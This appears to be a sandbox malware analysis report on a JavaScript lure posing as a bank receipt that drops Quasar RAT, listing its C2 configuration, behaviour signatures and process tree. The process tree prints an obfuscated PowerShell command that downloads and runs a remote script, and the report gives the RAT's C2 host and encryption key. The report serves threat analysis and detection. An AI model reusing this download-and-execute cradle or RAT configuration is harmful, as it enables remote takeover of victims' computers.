Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 15:00
General
- Target e-dekontpdf.js
- Size 68KB
- Sample260626-sds6nsct21
- SHA256 509c2a5b7f12d2a67bfb9b697581fc9718c6ceba0575cc9e8490284fe4bdd6ce
Malware Config
Extracted
-
quasar
-
1.4.0
-
Micro
-
babayagadead.duckdns.org:1933
-
69059989-4d50-45f8-b299-3d7635455c52
-
encryption_key
E1E0263C65C57BAA0955A3EA0636BB8240539AF2
-
install_name
ChromeServiceUpgrade.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logsssss
-
reconnect_delay
3000
-
startup_key
ChromeServiceUpgrade
-
subdirectory
ChromeServiceUpgrade
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar payload 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\e-dekontpdf.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w hidden -ep bypass -c "$iex=[char]73+[char]69+[char]88;$irm='Inv'+'oke-Rest'+'Method';& $iex (& $irm 'https://babayagareborn.net/blackhole/nod32/iexkisalt.txt')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\g3xriil3.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i22dhr5v\i22dhr5v.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47A3.tmp" "c:\Users\Admin\AppData\Local\Temp\i22dhr5v\CSC4B24C2F56BEA41BD9EF1BBB747D1611F.TMP"4⤵
-
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bw2yxlqw\bw2yxlqw.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES529F.tmp" "c:\Users\Admin\AppData\Local\Temp\bw2yxlqw\CSC21015F4DF5C34D15A53F7DB611B7D468.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RES47A3.tmp
RES529F.tmp
__PSScriptPolicyTest_vumwklri.mit.ps1
bw2yxlqw.dll
i22dhr5v.dll
g3xriil3.ps1
CSC21015F4DF5C34D15A53F7DB611B7D468.TMP
bw2yxlqw.cmdline
CSC4B24C2F56BEA41BD9EF1BBB747D1611F.TMP
i22dhr5v.0.cs
i22dhr5v.cmdline
memory/980-14-0x000002203D3C0000-0x000002203D3D0000-memory.dmp
memory/980-36-0x0000022025260000-0x0000022025268000-memory.dmp
memory/980-15-0x000002203D3C0000-0x000002203D3D0000-memory.dmp
memory/1092-59-0x0000000005350000-0x00000000053E2000-memory.dmp
memory/1092-62-0x00000000056D0000-0x0000000005720000-memory.dmp
memory/1092-68-0x0000000007910000-0x0000000007976000-memory.dmp
memory/1092-63-0x0000000005FF0000-0x00000000060A2000-memory.dmp
memory/1092-61-0x0000000006430000-0x0000000006A48000-memory.dmp
memory/1092-60-0x0000000005280000-0x000000000528A000-memory.dmp
memory/1092-58-0x0000000005860000-0x0000000005E04000-memory.dmp
memory/1092-54-0x0000000000400000-0x0000000000484000-memory.dmp
memory/4596-2-0x000001A3F3230000-0x000001A3F3240000-memory.dmp
memory/4596-10-0x000001A3F53B0000-0x000001A3F53D2000-memory.dmp
memory/4596-1-0x000001A3F3230000-0x000001A3F3240000-memory.dmp
memory/4596-53-0x000001A3F5C50000-0x000001A3F5C60000-memory.dmp
memory/4596-52-0x000001A3F5C40000-0x000001A3F5C4C000-memory.dmp
memory/4596-12-0x000001A3F3230000-0x000001A3F3240000-memory.dmp
memory/4596-51-0x000001A3F5A30000-0x000001A3F5A38000-memory.dmp
memory/4596-65-0x000001A3F3230000-0x000001A3F3240000-memory.dmp
memory/4596-64-0x000001A3F3230000-0x000001A3F3240000-memory.dmp
memory/4596-11-0x000001A3F5D60000-0x000001A3F5F22000-memory.dmp